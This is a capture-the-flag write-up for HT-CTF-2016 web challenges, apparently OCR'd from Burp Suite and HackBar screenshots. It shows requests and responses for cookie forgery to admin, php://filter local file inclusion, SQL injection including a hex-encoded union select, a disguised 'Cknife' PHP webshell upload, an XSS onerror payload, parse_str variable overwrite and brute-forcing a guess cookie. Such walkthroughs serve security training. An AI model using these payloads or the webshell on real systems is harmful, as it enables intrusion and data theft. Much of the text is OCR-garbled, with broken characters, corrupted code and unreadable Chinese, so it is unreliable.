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Can you see the hidden flag?

miiindex, flag— N, &R N EEERFEERElag

view-source:http://218.76.35.75:20111/Index.php
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I EFN disabled
B 21 55 X > & disabled->#2 32 >l £,
BXSEON T Hlag

J Raw T Params T Headers Tm Raw | Headers | Hex
User-Agent: Mozilla/5. 0 (Windows NT 6.3: [ ' HTTP/1.1 200 OK L-\
rv:36.0) Geclo/20100101 Firefox/36. 04 Date: Tue, 15 Aug 2017 01:31:58 GMT
Accept: Server: Apache/2.4.6 (Cent0S) PHP/5. 4. 16
text/html, application/xzhtml+xml, application/mml:q= X-Powered-By: PHF/5. 4. 16 |
0.9, %/*:q=0. 8 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Language: Cache—Control: no-store, no-cache,
zh-Cll, zh ;q=0. 8, en-US ;q=0. 5, en;q=0. 3 must-revalidate, post-check=0, pre-check=0
Accept-Encoding: gzip, deflate Pragma: no-cache
Content-Type: application/z-www-form—urlencoded Content-Length: 1723
Content-Length: 33 Cormection: close
Referer: http://218.76.35. 75:20112/ Content-Type: text/html: charset=UTF-8
Cockie: PHPSESSID=0f4c15j51620vTreja3kmbrT33
X-Forwarded-For: 8.8.8.8 flag{W311l don3}
Comnection: close <html>
perade-Insecure-Requests: 1 <head>
<title>HT-CTF-2016 - Quiz</title>
ql=2016&q2=1018&q3=228&success=true </head>
&/ <hody -
|l'r By e PP RO CPR R e R Y Ly o S e, |0, [ L[ S e R oo, o L | SORReT e S R (1) [ | %
|;J |;J [;J L;J Ty¥pe & search term 0 matches [_7J L;J |;| l;| Tipe & search term 0 matches
J=3=0 =0 =)
%

B, TLAE FlcookiesH jUser EMember S A A RIRBHR AT 4IRS 23 1 .

Cookie

base64f# 2 Tm9ybWFs# 32 & Normal, T & ¥ ”Admin”base64l % 3 & ¥ Member) % & flag

Tips: N4 NZEAdminTi A RZadmin? BAE R E/R"0nly Member with Admin rights is allow to enter "




Cancel < | >

Request

J Raw T Params T Headers | Hex

Target: hitp:/i218.76.36.756:20113 | | | 7

(el

Response

Raw | Headers | Hex

J|POST / HTTP/1.1

JHost: 218.76.35.75:20113

1User-Agent: Mozilla/5.0 (Windows NT 6.3:
rv:36.0) Gecko/20100101 Firefox/36. 04

JAccept:

Itext/html, application/xhtml+xml, application/xml ;q=
0.9, %/%:g=0. 8

Accept-Language:

| zh-Cll, zh;q=0. 8, en-US ;:q=0. 5, en;q=0. 3
Accept-Encoding: gzip, deflate

Content-Type: application/z-www-form-urlencoded
Content-Length: 17

Referer: http://218. 76. 35. 75:20113/

1Cockie: PHPSESSID=0f4c15351620vTrejaskmér733;
User=JohnTanl01: Member=QWRtaWi=
X-Forwarded-For: 8.8.8.8

{Commecticon: close

|Upgrade-Insecure-Requests: 1

2l el b sl [Tvoe 2 search term

phpR & iIFHiES
IEE%

RE#EIHE, Z2d—RIIMESHA. BEREHER

[»

0 matches

HTTP/1.1 200 CK

Date: Tue, 15 Aug 2017 01:37:53 GMT
Server: Apache/2. 4.6 (Cent0S) PHP/5. 4. 16
X-Powered-By: PHP/b. 4. 16

Set-Cookie: User=JohnTanl0l

Set—Cookie: Member=Tm3vkbWF=
Content-Length: 394

Comnection: close

Content-Type: text/html; charset=UTF-8

flag {CO0ki3_nOm_nOm_nOm}

<html>
<head>
<title>HT-CTF-2016 - admin</title>
</head>
<body
style="margin: auto:padding—top: 50px;backeground: bl
S . S 1 o M
|_:,~_| |_:“| |_-1-_| |“>_-| Tvpe & search term 0 matche



http://218.76.35.75:20114/?>foo={%22bar1%22:%222017f%22,%22bar2%22:[[1,1],1,1,1,1]}&cat[0]=123&cat[1][ ]=1&dog=%00
htctf2016

?>
flag{php_i5_n0t_b4d}

login
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Mg E & 1E A

http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=1login

- S 22 <z A = P s JEU s SULE I deeep L W) o—
€ (@ 218.76.35.75:20115, [ ffilter/convert.baseb4-encode/resour Ui ¢  —| w B ¥
B 22wE [ webiti= || XI8E @ ehgx @ Sebug oit HEAEE FEE.. @ XSS Platform | 1L, Javascriptirse EESE. .
INT ~ = & SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFl-

@ Load URL [ http://218.76.35.75:20115/?page=php://filter/convert.base64-encode resource=login
§ spliturL

3 Execute

[ Post data [] Referrer 4% OxHEX ™ &% %URL ™ % BASEG4 =

PD9waHAKIGxvZ 2luPUAKX1BPU1TRbJ2xvZ2lu)107CiIRWYXNzd29yZD1AJFIQTINUWYdwYXNzd29yZ CddOwppZihAJGxvZ2IuPTOiYWRtaW4ilCYmIHNoYTEo

i loginf IR A :

R loginf IR HEREiIER, REGSlog/H FiE Hfag

http://218.76. 5/?page=1login&debug=0&log=1og/



B 2s=wE [ websini= [

BT —EHER L

ve o il

F=3EE @ RaEsE @ Sebug git HEEE RS, @ XSS Platform | T JavascriptTE2E8EEE. .

INT ~ = @ SQLBASICS- UNIONMN BASED- ERROR/DOUBLE QUERY- TOOLS~ WAF BYPASS- ENCODING- HTML- ENCRYPTION- Q
E LT U - //218.76.35.75:20115/?page=login&debug=0&log=log
B split URL

+)  Execute

[] Post data

flag{10cal File 1nclusiOn C@n B3 fun}

http SL¥EA
B

httpkiE A KRZHAXXFIEN, RefereriE A%, Hsb—A—AiRK. JH

] Referrer 4% OxHEX ™ &% %URL ¥ &% BASEG4 BB

Insert string to repla -::'| ‘ Insert reph

login
lagin
password
Go!

RefererfFfEVEAN

Go Cance < |¥ > |

Request

J Raw T Params I Headers | Hex

Target: http:ii218.76.35.75:20121 ij L

Response

J Raw I Headers | Hex | HTML I Render ]

GET /heetian. php HITF/1.1

Hest: 218.76.35.75:20121

User-Agent: Mozilla/5.0 (Windows NT 6. 3;
rv:26.0) Gecko/20100101 Firefox/36. 04

Accept:

text/html, application/xhtml+xml, application/mml ;g=
0.9, ¥/%:9=0. 8

Accept-Language:

zh—CN, zh;g=0. 8, en-US;g=0. 5, en;g=0. 3

Accept— ding: gzip, deflate

Referer \ ' Wttp://218. 76. 35. 75:20121/

Cockie: PHPSESSID=0f4c15351620vTre jalkmbr733 ;
User=TohnTanl01l; Member=Tm9vbWFs
X-Forwarded-For: 8.8.8.8

Comnection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

| 7 || < || + || = | Type & search term

K

0 matches

<p style="color:#03C"></p>

<prWecome our official

sites:heetian. com/heetian. php</p>

teenager marry me these

<p>Waist long hair,
days. <p>
ody
ou have an error in your SQL syntax; check
the marmual that corresponds to your MariaDB
server version for the right syntax to use
near
"http://218. 76. 35. 75:20121/",’ 2017-08-15
01:58:45’)" at line 1
</body>
</htm

| ? || = || + || = | Type a search term 0 match



AL AT FsqlmapiE A

Bl CAWINDOWS systern32yermd.exe — O 2 l:
b

HEMETE

[*] shutting down at 14:11

ArRATl.AMTT O MAXTATR—

e B8 B SO A%
3582
E# E&PHPIUF, EBtcontent-type

Go < |r Target: http:i218.76.35.75:20122 | & | 7
[ J <] |

J Raw 1 Params T Headers 1 Hex Raw | Headers T Hex ]

Content-Length: 1664 2 HTTP/1.1 200 OK ki
Referer: http://Z218. 76. 35. 75:20122/ Date: Wed, 16 Aug 2017 07:15:26 GMT
X-Forwarded-For: 8.8.8.8 Server: Apache/2.4.6 (Cent0S) PHP/5. 4. 16
Commection: close X-Powered-By: PHP/5. 4. 18
Upgrade-Insecure-Requests: 1 Content-Length: 44

Comnection: close
————————————————————————————— 12091635513451 Content-Type: text/html: charset=UTF-§
Content-Disposition: form-data: name="file”:
filename="cus. php” upload Success! flag:Upl00d30668ss9h97aFil3

Content-Type: image/ jpeg

<Pphp \

$pwd = 'Cknife' :
if ($_POST [$pwd] == 1) {
$act = $ POST ["action']

echo ("-»|");
if ($act == 'index’) {
$D = dirname ( $_SERVER L .
FT*ocrmMTH™ THTT AT AR ¥ . |
|___‘.| |.L.| l;.' |_;.| Type & search terr 0 matches l_l |.L.| I.L.l |_;.| Type & search term 0 matche:
Done 247 bytes | 2,641 mill

&l B 11 JS



HEFEERKINAE —BISEEHIT,

<html>

<head>

{script>

p="60, 105, 102, 114, 97, 109, 101, 32, 104, 101, 105, 103, 104, 116, 61, 48, 32, 119, 105, 100, 116, 104, 61, 48, 32, 115, 114, 99, 61, 34, 46, 47,

102, 108, 48, 97, 46, 112, 104, 112, 34, 52"
p=eval ("String. fromCharCode ("+p+"} ") :
document. write(p) ;</script>

</head>

S, EEHEFIIT, Kdocument.write(p)EihNalert(p)




i | R e

T " RS ~ R T | s

& (O view-source:http://218.76.35.75:20123/ C || Q FE <Clri+k>

B2 | | webm2itls | | 2IEE @ lexig®E @ Sebug git BSFEE RIS @ XSS Platform | [T JavascriptEEAERRELE. .

INT v = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS+ WAF BYPASE- ENCODING- HTML- ENCRYPTION- OTHER- XS§- LFl-
& Load URL

9 split URL

.+ Execute

[ Postdata [] Referrer € OxHEX ™» &% %URL ™ @& BASEG4 I Insert string to replace| | Insert replacing string| 7] Replace Al

=iframe height=0 width=0 src="./l0a.php"=

& 0O =&=% D iEtE (lefgss Q4 s = [ME
T @RESHN- 8C55~- @5~ e=2(U)- o HEL) - @ RE:ES) -

¥ p="68,105,182,114,97,169,1081,32,1684,161,165,183,164,116,61,48,32,119,185,186,115,164,61,48,32,115,114,99,61,34,46,47,182 ,188 48,97 46,112, !
p=eval("String.fromCharCode("+p+")"); alert(p);

Vi XA R, & Bflag?Ecookie

€ @ 218.76.35.75:20123/f0a php?flag=fiag U8 ¢ ||QZE<crks o 'fr'E & B % - @ =
S || webmetz || ¥95E @ B2gE @ Sebug 6] it SSEE RS @ XSS Platform | [T JavascriptEERESE.. DeaEsE
INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Load URL =
% split URL *
+)  Execute

[ Postdata [] Referrer 4 OxHEX 3 % %URL ™ & BASE64 M | [nsertsiring to fepﬁ.s(e| ‘fﬂseﬁr&p."&n‘ng string| ] Replace all 28 | =,

flag is $flag

G Ozs% DOews DEds Ooxess Cusx O or Bl

BB B8 & 08 x
W oss I css Js XHR FE B K Flash WS HfE @1

K, 1350 (S8: 135F0) | Be 245 B v i URL [0

PE HiE g A ESidl HEEL Cookie B BRL #a Fiss
GET  fl0a.php?flag=flag £ 218.76.35.75:

15 document M http://218.76.35.75:28123/F1@a. php?flag=flag

HRA GET
iEfeibhl: 127.0.0.1:3630
W5 @ 200 ok [FEEATHE] REAEE ot
R HTTP/1.1

v iRk

Set-Cookie: "flag=C00k1els605ecUSe; expire...ed, 16-Aug-2017 08:22:07 GMT" o
EETH

Crintantl annath: *127 REATTEN

CO0K1els60SecUse
PHPR T BKIES
B

LATBEE B LA T A



HEXEE®

http://218.76.35 124/index.php?heetian=he=abcd

INT ~ @ @ S0L BASICS- UNION BASED- ERROR/DOUBLE QUERY~- TOOLS
4l Load URL [ http://218.76.35.75:201 24 index.php

S‘E Split URL ?heetian=he=abcd

b Execute

[] Postdata [] Referrer = OxHEX ™ &% %URL &

$he = goodluck’ ;
parse_str{$ GET[ heetian’ ]);

if $he = "abed ;

echo $flag;flag:C00dluckfOrYOuuu

$he = abcd

HIAXSS
BB

EIAN123 " RILH I imghris



L FOST aata | | RETEMEr "o WANCA O TR OUNL S . DALCU S (NS STHNg 1o -"E'pfﬂf:'| |l’f'.'5|‘.='.fT regiacing s

Hint: alert document.domain.

G EmEE= Cdls DEE (1EsEs Qs GrE = /S

+ #E HTML
<html> g

Pk <head| <

w <body>

<span>Hint 1</ span3
<zpanralert document.domain.</span>
» {form id="forml™ method="post" name="forml"™ action="">
<input name="subject™ value="" sizre="H@8" type="text">
=

<input id="insert™ name="insert" wvalue="go" type="submit">

TR E#EMiEpayload I i fixss, RiEhint
| payload:#' onerror=alert(document.domain)

B 3flag

Hint: alert document.domain.

GIEEES] Osvwe OBs (uess Guw OnF = B

+ #E HTML
<html> @@

F <head> < head>

w <{body>

<span>Hint:</span>
<spanralert document.domain.</span>
v {form id="forml" method="post"™ name="forml" action="">
<input name="subject™ value="" size="68" type="text":
<input id="insert™ name="insert" walue="go" type="submit":
=

flag: BGumENLTdBMLIn

i B 1 SRR
B



Hiik: Flag 7E/flag

http://218.76.35.75:20126/index.php?page=/flag
A E VRS

H#V Hflagi® = KIPHP

http://218.76.35.75:20126/62a72cb2f3d5e71c0284da9f21e66c9f.php

2 218.76.35.75:20126/62a7 2cb2 dagf2 P

(8 2EHE | webse2itiz FIEE @ Rhgx @ Sebug git mSEETEE. @ X5
INT v = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPAS
& LoadURL

% split URL

b Execute

[] Postdata [ | Referrer 4™ OxHEX ™ &%= %URL ™ = BASEH4
F11elNclLud3Get

i B 1) B2 UE
B %

BEEIE, RIERR, KUser=BobEAUser=admin,

1R iguessifE




J E intruder attack 1 - O *
b
= Aftack Save Columns E
5
EJ Results T Target I Positions I Payloads ] Options ] L
I F
:| Fiter: Showing all tems. THEREE T3 PR
_|| Reguest | Paylead | Status | Error | Timeeut | Length ¥ | Comment | |
LD 573 200 0O 0O 4% [a]
391 093 200 O O 42 ')
L 380 983 200 [ B 472 |
389 383 200 o m
5|| 388 783 200 =] [~ R
| 387 683 200 o o 42
386 583 200 o o 422 -
385 483 200 a [~ - B
zl| 384 383 200 =] B 4z
11| 383 283 200 =) [~ v
o | 382 183 200 = o 422 L
|38 083 200 O o 4z v
| o e
{J Raw I Headers I Hex I HTHL I Render ]
{ | &
<html>
<b0d:\r'>
</ pr</body>
</html>
but to somebody you may just be the world<p:</prflag:EaSyT70ChlngG00kie
=
- b
’ rd 3 J % = Type & szarch 0 matches
391 of 1000 | |

guess=573 3k1Eflag
Vote
B

A&, FE—A . index. php. swpIvimBE &4 o
H#Mvim -r index.php #%E

KB index. phpiEid.
I H S8R 43







MRS RATAT LLE S id#is_numeric g, AEE—IRIEN . EREFEHIdXBENBEEEIRER, BERT ZIREAN.
AT LK s q 118 A o1 63 i) B b REAT —IRVEAN

payload:

id=1 and 1=2 union select database()&vote=1&submit=Submit

163

0x3120616e6420313d3220756e69616e2073656c6563742064617461626173652829

AR :

iR HhE :http://218.76.35.75:65080/index. php

post##E :
1d=0x3120616€6420313d3220756€69616€2073656Cc6563742064617461626173652829&vote=1&submit=Submit




€ | (0 218.76.35.75:65080/index.php

W EE ¢ || Q &= <Clri+k>

(8 ExinE | websitts | | Z3%E @ BhigE @ Sebug git S EE FEE. @ XSS Platform | T, JavascriptiEsEs
INT ~ = @ 50L BASICS- UNIONMN BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMNC
PSR LV v:.o.//218.76.35.75:65080/index.php

B split URL

bl Execute

Post data

Postdata [] Referrer % OxHEX ™ &% %URL ™ % PASEGd BB

id=0x3120616e6420313d3220756e696f6e2073656c65637420646174616261736528298vote=18submit=Submit

Insert string to replac

Thank you! Results:

| Logo ‘Total votes|Average
| 0
o 0
[FCZLM [22461 1.34

| 0

etf ] 0

—HukiiE, 153flag & At flag

=
S

k Execute

Load URL
split URL

Post data

O LRI UMY DMILLYT LIV DO DLL LI T T PRI T WA DT E MO0 LIS LI D ERIVILT LW R DRI T I

http://218.76.35.75:65080/index.php

Post data
id=

[] Referrer 4= OxHEX 3 % %URL 3 ¥ PBASCRY
0x3120616e6420313d3220756e696f6e2073656c656374206660616720667 26/6d20745/666c61 67 e ot F- et s 10 s 1118

Insert string to replace| | Insert replacing

Thank you! Resulis:

Logo ‘Total votes |Average

| 0

0

22466  [1.34

[flag(6yvt6eYziAHgVRKz3reE) |

| 0

aishiA, FRIEE.






























i HH SR B ARG

“webqwer” [1] + “100.js”4e100.js
viial, AjsfuckiBE L Mjsi%. BEEH &1

Post data )

&

flag{oTOyTrjUOxhjhj2YTcT8jljMWpzS9tDk}

B
FlEEd = Bl s e BEHE ® 08 x
W eRHEN- @CSS- 8Js- eF2U) - @ BEFL - o BEHES

[T L) DI+ D1 D 1 LI LD [+ L1+ O [+ DL LI ED DAL I (D LI LI LD D [ D L DD O LI DD D+ DI+ L 10+ L LI L) L1 D+ O LD+ L) D+ LD+ D1+ D10 O [T+ LD) [+ LTI DD L+ [ ]+
L1110 LTI D) [+ D1 TCCH LTI [+ DD D+ (U D+ DD D DD+ DD LD D O LT DD [+ LTI C DI D+ LD [+ 13+ DD+ D Db+ DT T C LI L L I+ D D) [ b LD+ (D LTI+ DD O L+ DD [+ L1+ DA LTI+ DIDCIDD [+0+11+
L1+ LI+ LD) DD I+ DT+ (LI LD [+ LD 0+ (U L+ DD [+ DD+ L+ DT D (LT D) [+ DT D) [+ DD+ D B+ DD DD+ C L L LD [+ LT L3+ L T+ (L D+ D) DA D+ [T+ LD D+ (DI LI+ D) [+ D01+ D LTI+ 010000)
LN IO LI+ DD L T O LI L D) [+ D11+ O LI D) D LD D1 D T () [T+ LD) [+ LT T LD DA LT LT L DT O LI LT D LT 1 (e O D o [T L L T L LD DO LI [+L T+ D
CILC I+ I+ DI+ DI DI D) [+ D1+ L+ D DD 0+ O DI LD DA DD L DT D LD [+ DT T O LI+ DD D DT+ b DT LD T+ O LD+ DD D+ DT D) [+ CI [+ D120+ (o LT DI+ DD DCLICCH DI+ [+ D03+ D4 0DT+0I001T)
[+ 1+ 1+ LI LD D DI+ D1 T+ (LI D) [+ DD T+ (LT L D) DA+ LT+ DD+ [T 1+ (L DL D+ DD DD+ DD D LD+ [T+ DD D+ O LI LI L DI+ L D) D+ DD+ L DI T+ DI LOI D [+ DI+ [+ D11+ (L LD+ DD LT+t
I+ LI LD DD I+ O LI DD D DT D+ A LD D+ (U DD+ DD D LD I+ [T+ D DD DT C LI LD I+ L D D DD 1+ O LT D D) D DT i D+ e D1 D+ O LD+ LD D LD D+ (D1 DD D+ DD T+ (DI CE DI+ L DD [+ L3+ LI CH DI DD
[+01T+ (D LTI+ DIC LI [+ DI+ [+ D1 1+ C LI+ DD DA+ D+ LD 0+ (I DI+ LD D DD+ CHE DI+ L) D L+ [T+ L] T O LI+ D D) [+ D12+ DD DA+ DI+ D1+ LD 1+ O DD+ LD L+ D10+ O DI+ DI DO LI+ 0 D) [+ D0+ DH LTI+ 0I0000)
[+ [T+ +LII 1+ LI LD D+ DT+ D1 T (LT O D) DD T (LT L) D LT+ D+ [T D (LD DI+ [T ) D b+ DI+ [+ DD T+ O [T+ E D) [+ L1 DD [+ I D [+ D210+ (DD DD DT+ CHE LI+ DD [+ 0+ D11+ D11+ 0]

LI [+ DI+ [+ D11 I+COIL LI+ D DD [+ b D 1+ LI+ D LT D D+ L DCDI DO LI+ DD [+ D13+ D LTI+ DI 0TI L L+ D+ D103+ O LI+ DD D+ D+ LD+ O DI+ DI L LT D+ O L+ DD D LT D3+ D13+ CH LT+ L DD [+ 1+ [ 110+
DD+ D 1+ D+ (L DI DI DI+ DD L+ D13+ (L LI T+ DI LD D Dt DI [+ D T 1+ O LI D) D DI+ L1+ (U LI+ DD LD 3+ (L LD+ D) D LD+ LT+ [T (L LI D) [+ DT D [+ D+ [+ D110+ (LT LDT T+ 01D [+ 1+ L 11+
[+ DAL LT+ D1 O LD LD D L1+ [+ DD T+ (LD CO1 3L DD L+ LTI LT DO LI+ DD L+ LD 0D LTI DI O D) [+ A [+ L T O LI+ L D D LI A [T O LI DD DD T O LT LT D [T LT T T

flag{o TOYTr{UOXhhj2YTCT8jiMWpzS9tDk}

Reappear

BB

#Ehttp://218.76.35.75:65180//kindeditor/kindeditor. jstE KIS B AE HRA NS 1.7
XA RA M ER B A2 I j s A : /php/file_manager_json.php

B 1]




€ (@ 218.76.35.75:65180//kindeditor//php/file_manager json.php

(8 2Ewia [ webzsitis |

&F =il e
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text/html, application/xhtml+xml, application/xml;q=
0.9, %/*;9=0. 8

Accept-Language:

zh-CH, zh;q=0. 8, en-US;q=0. 5, en;q=0. 3
Accept-Encoding: gzip, deflate

Content-Type: application/z-www-form-urlencoded
Content-Length: 13

Referer: http://www. iie. ac.cn

Cookie: flag=C00klels60SeclUbe;
flag=C00klelsf0Secll5e: user=Bob: guess=999:;
PHPSESSID=euclohs6snshTrlTkqgshlpe j41
X-Forwarded-For: 10.10.20.1

Comnection: close

Upgrade-Insecure-Requests: 1
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Request Response
J Raw T Params I Headers | Hex jﬂaw T Headers | Hex | HTML T Render ]
Accept: 4 HTTP/1.1 200 OK I

Date: Wed, 16 Aug 2017 08:28:36 GMT
Server: Apache/2. 4.7 (Ubuntu)
X-Powered-By: FHF/5. 5. 9-lubuntud. 17 -

Password: d2626f412daT48e711cadfdas9428664
Vary: Accept-Encoding
Content-Length: 2624
Comnection: close
Content-Type: text/html; charset=gh2312

¢seriptralert (" Flag:
84294deb396ba4373c5ea8b73falllb2’ ) ; </script>
<!DOCTYPE html>
<html>
<head>

<title>DrinkCoffeed/title>

<META http equiv=Content-Type

content= text/html charset= gb’Sl“” -
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